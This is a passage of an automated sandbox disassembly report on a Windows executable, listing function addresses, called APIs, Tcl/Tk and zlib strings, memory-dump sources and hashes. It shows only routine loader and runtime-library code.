Opcode ID: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction ID: 83118707fbb1b24b49f614ca4cd2157100101837af6cd70fff1fa659748c3415
Opcode Fuzzy Hash: 46e6024f15a2f57ad5ff64688e0fe3cec5898f8577aba2f63b046adc8766ef53
Instruction Fuzzy Hash: B6E04F51E19A4352FE187FF3E8D5179D2516F86B20FC50436C90D422A1FE2C68498230

Function 00007FF714C9AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF714C9A9D5,?,?,00000000,00007FF714C9AA8A), ref: 00007FF714C9ABC6
GetLastError.KERNEL32(?,?,?,00007FF714C9A9D5,?,?,00000000,00007FF714C9AA8A), ref: 00007FF714C9ABD0

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 219012294e5ac5c113b05e3a91869b002b3fc2ceb43c7a9b6b635c5db4571b12
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: A421A721F18E8251EE607F57D8D037992829F86BB4F844237EA1E477D5EF6DE4494320

Function 00007FF714C9BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9BED4

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 495ab047fcfb6d9a4282d3329b3e3bd18f3a9e03c04c2342f03cced32791c702
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 7841CC32514A4167EA34AF1AD980179F360FB57B60FD01132D68E476D1EF3DE406CB60

Function 00007FF714C87F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF714C8803A

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction ID: 3ecb7ccefa9ea888513569628618f9c0ca893b518e0ef635c8ad498461c9cc7d
Opcode Fuzzy Hash: 7026eb3b68f3585a2f5768ea15c5ca7bda34a28a3ae4cdbb6486ed2f903c9d01
Instruction Fuzzy Hash: 7A21A721B18A5346EA50BE23B8453BAD641BF46BE4FC84432EE0C07B86DF7DE049C230

Function 00007FF714C9B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C9B9C2

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: 2e51f7a8dc1c152c107e99bc38ec37a9e25f422b94fc14e5381c30d54a962bde
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: 13312D22A28E02A5E6117F56DC8136DA660BB42BB5FD2013AE91D073D2FE7CA4498735

Function 00007FF714C99961 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF714C9998F

Part of subcall function 00007FF714C99A88: GetModuleHandleExW.KERNEL32 ref: 00007FF714C99AAD
Part of subcall function 00007FF714C99A88: GetProcAddress.KERNEL32 ref: 00007FF714C99AC3
Part of subcall function 00007FF714C99A88: FreeLibrary.KERNEL32 ref: 00007FF714C99AEA

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: HandleModule$AddressFreeLibraryProc
String ID:
API String ID: 3947729631-0
Opcode ID: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction ID: 15df9d72b82bef1e2e5bbbd0e2cd679842652586044a8771e47de33e991f048c
Opcode Fuzzy Hash: 42808d7c08696a35870eb95595f0ae95ff90971c005bfc8769c42bb91e99b0de
Instruction Fuzzy Hash: 0D21A172A04B469AEB24AF65C8C02EC73A4FB05728F84063BE75C06BD5EF38D548C750

Function 00007FF714C95F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C95EF9

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 42b111ec0291e59f9900e36196065d7ff854b70ad3d4ef0cba8f3d22f10c684e
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: 50115732A1DA4291EA60BF52D84017DE264AF96BA4FC44433FA4C57A95EF3EE4044720

Function 00007FF714CA6354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA6377

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: fdd8d94dc2bdfa38cc2766a0814a1c368ccf04334ba08440ac72bb8379b1e4d6
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: 0821F533B18E4186DB20AF1AD480379B6A0FBC5F60FA44635E69D476D5EF3CD4068B10

Function 00007FF714C903BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF714C90410

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: fe90434cdd24c27d6de11a1cefb5df4e1e8b81713805b358eb56f2e0ebe96ecd
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: 7F018E61A08B4190EA44AF53DD80069E6A1AF96FF0F884632EE5C57BD7EE3CE5058310

Function 00007FF714C9EB98 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,00000000,00007FF714C9B32A,?,?,?,00007FF714C94F11,?,?,?,?,00007FF714C9A48A), ref: 00007FF714C9EBED

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction ID: abfd74905d1d6e3881f4e70f0e169aace6a0dff7c7a3f0da7623690ab9cac595
Opcode Fuzzy Hash: 0190c006dd090f1dc8136ef035d08a675b61e1fdbed98732a32380f018d60316
Instruction Fuzzy Hash: B8F03C55B09A02A0FE587EA7DCD53B482805FAAB70F8C4932C90F462D1FE1CA4984634

Function 00007FF714C9D5FC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF714C90C90,?,?,?,00007FF714C922FA,?,?,?,?,?,00007FF714C93AE9), ref: 00007FF714C9D63A

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction ID: 8dcf037ae7d74ced9b90be3c65a598b8681a277a4b4bd488dfb007bb8a3c86ac
Opcode Fuzzy Hash: 510c613edcbd96140e332c46b5608733b20d975e117422ad796dc4540c81bb80
Instruction Fuzzy Hash: EAF03A15A19A4360FE643EA39CD12B492904F86BB1F880A32D92E962C2FD2CA4898130

Non-executed Functions

Function 00007FF714C876C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF714C876D7
GetLastError.KERNEL32 ref: 00007FF714C876E9
GetProcAddress.KERNEL32 ref: 00007FF714C87725
GetLastError.KERNEL32 ref: 00007FF714C87737
GetProcAddress.KERNEL32 ref: 00007FF714C87750
GetLastError.KERNEL32 ref: 00007FF714C87762
GetProcAddress.KERNEL32 ref: 00007FF714C8777B
GetLastError.KERNEL32 ref: 00007FF714C8778D
GetProcAddress.KERNEL32 ref: 00007FF714C877A9
GetLastError.KERNEL32 ref: 00007FF714C877BB
GetProcAddress.KERNEL32 ref: 00007FF714C877D7
GetLastError.KERNEL32 ref: 00007FF714C877E9
GetProcAddress.KERNEL32 ref: 00007FF714C87805
GetLastError.KERNEL32 ref: 00007FF714C87817
GetProcAddress.KERNEL32 ref: 00007FF714C87833
GetLastError.KERNEL32 ref: 00007FF714C87845
GetProcAddress.KERNEL32 ref: 00007FF714C87861
GetLastError.KERNEL32 ref: 00007FF714C87873

Strings

Tcl_GetString, xrefs: 00007FF714C87AAD, 00007FF714C87ACF
Tcl_ConditionNotify, xrefs: 00007FF714C8796B, 00007FF714C8798D
Tcl_ConditionFinalize, xrefs: 00007FF714C8793D, 00007FF714C8795F
Tcl_Alloc, xrefs: 00007FF714C87C1D, 00007FF714C87C3F
Tcl_GetObjResult, xrefs: 00007FF714C87B65, 00007FF714C87B87
Tcl_SetVar2, xrefs: 00007FF714C87A51, 00007FF714C87A73
Failed to get address for %hs, xrefs: 00007FF714C876F8
Tcl_FindExecutable, xrefs: 00007FF714C87746, 00007FF714C87768
Tcl_MutexFinalize, xrefs: 00007FF714C8790F, 00007FF714C87931
Tcl_NewStringObj, xrefs: 00007FF714C87ADB, 00007FF714C87AFD
Tcl_EvalObjv, xrefs: 00007FF714C87BEF, 00007FF714C87C11
Tcl_FinalizeThread, xrefs: 00007FF714C877CD, 00007FF714C877EF
Tcl_Free, xrefs: 00007FF714C87C4B, 00007FF714C87C6D
Tk_Init, xrefs: 00007FF714C87C79, 00007FF714C87C9B
Tcl_GetCurrentThread, xrefs: 00007FF714C87857, 00007FF714C87879
Tcl_GetVar2, xrefs: 00007FF714C87A23, 00007FF714C87A45
Tcl_SetVar2Ex, xrefs: 00007FF714C87B37, 00007FF714C87B59
Tcl_CreateInterp, xrefs: 00007FF714C8771B, 00007FF714C8773D
Tcl_ThreadAlert, xrefs: 00007FF714C879F5, 00007FF714C87A17
Tcl_ThreadQueueEvent, xrefs: 00007FF714C879C7, 00007FF714C879E9
Tcl_Init, xrefs: 00007FF714C876D0, 00007FF714C876EF
Tcl_ConditionWait, xrefs: 00007FF714C87999, 00007FF714C879BB
Tcl_EvalEx, xrefs: 00007FF714C87BC1, 00007FF714C87BE3
Tk_GetNumMainWindows, xrefs: 00007FF714C87CA7, 00007FF714C87CC9
Tcl_DeleteInterp, xrefs: 00007FF714C877FB, 00007FF714C8781D
Tcl_DoOneEvent, xrefs: 00007FF714C87771, 00007FF714C87793
GetProcAddress, xrefs: 00007FF714C876FF
Tcl_NewByteArrayObj, xrefs: 00007FF714C87B09, 00007FF714C87B2B
Tcl_MutexUnlock, xrefs: 00007FF714C878E1, 00007FF714C87903
Tcl_Finalize, xrefs: 00007FF714C8779F, 00007FF714C877C1
Tcl_MutexLock, xrefs: 00007FF714C878B3, 00007FF714C878D5
Tcl_CreateObjCommand, xrefs: 00007FF714C87A7F, 00007FF714C87AA1
Tcl_EvalFile, xrefs: 00007FF714C87B93, 00007FF714C87BB5
Tcl_JoinThread, xrefs: 00007FF714C87885, 00007FF714C878A7
Tcl_CreateThread, xrefs: 00007FF714C87829, 00007FF714C8784B

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: c8c4d27f7936f0409c10ddf9b20c13f929ed0fc9fbfb3f51c03f33740164624c
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 3E02B46591AF0781EA15FF67A8D01B4A3A1AF47B75BE41833D52E02260FF3CB55E8230

Function 00007FF714CA40AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF714CA40FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA4766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA48DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA4B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA4DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF714CA4FF7
memcpy_s.LIBCPMT ref: 00007FF714CA50D2
memcpy_s.LIBCPMT ref: 00007FF714CA517D
memcpy_s.LIBCPMT ref: 00007FF714CA524C

Strings

1#SNAN, xrefs: 00007FF714CA420A
1#QNAN, xrefs: 00007FF714CA4213
1#INF, xrefs: 00007FF714CA4223
1#IND, xrefs: 00007FF714CA41E7

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: ec883f9cf127d5e0bae37f7b5775221867fd96b75772c58dc9f41e07d3c53119
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 7EB23C73E186828BE724DF26D4807FCF7A1FB51B58FA05536DA0D57A84EB38A508CB50

Function 00007FF714C8ACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

too many length or distance symbols, xrefs: 00007FF714C8AE46
invalid code lengths set, xrefs: 00007FF714C8AE2D
invalid distance too far back, xrefs: 00007FF714C8B670
invalid distances set, xrefs: 00007FF714C8B1A0
invalid literal/lengths set, xrefs: 00007FF714C8B133
invalid literal/length code, xrefs: 00007FF714C8B3E2
invalid distance code, xrefs: 00007FF714C8B5B4
invalid bit length repeat, xrefs: 00007FF714C8B099
invalid code -- missing end-of-block, xrefs: 00007FF714C8B0C6

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction ID: c85dd13bfcf1759aebdd73e60036d7983794e078cfce4695d5c4ea12ce1bc800
Opcode Fuzzy Hash: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction Fuzzy Hash: AB523A72A14AA64BD7A49F15C499B7E7BEDFB85350F41413AE64A837C0EB3DD808CB10

Function 00007FF714C8D12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF714C8D148
RtlCaptureContext.KERNEL32 ref: 00007FF714C8D175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF714C8D18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF714C8D1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF714C8D224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF714C8D241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF714C8D24C

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: 57cf853ffe86ed997963dbc9568b2dd694068a84ed0341406136904845115ab1
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: 0F312C76608F8286EB609F61E8803EEA360FB85718F44453ADA4E47B95EF38D548C720

Function 00007FF714C9A614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF714C9A68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF714C9A6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF714C9A6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF714C9A719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF714C9A723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF714C9A72E

Memory Dump Source

Source File: 00000000.00000002.2527143555.00007FF714C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF714C80000, based on PE: true

Associated: 00000000.00000002.2527089267.00007FF714C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527178490.00007FF714CAB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527278605.00007FF714CC2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2527332805.00007FF714CC4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff714c80000_lcc333.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
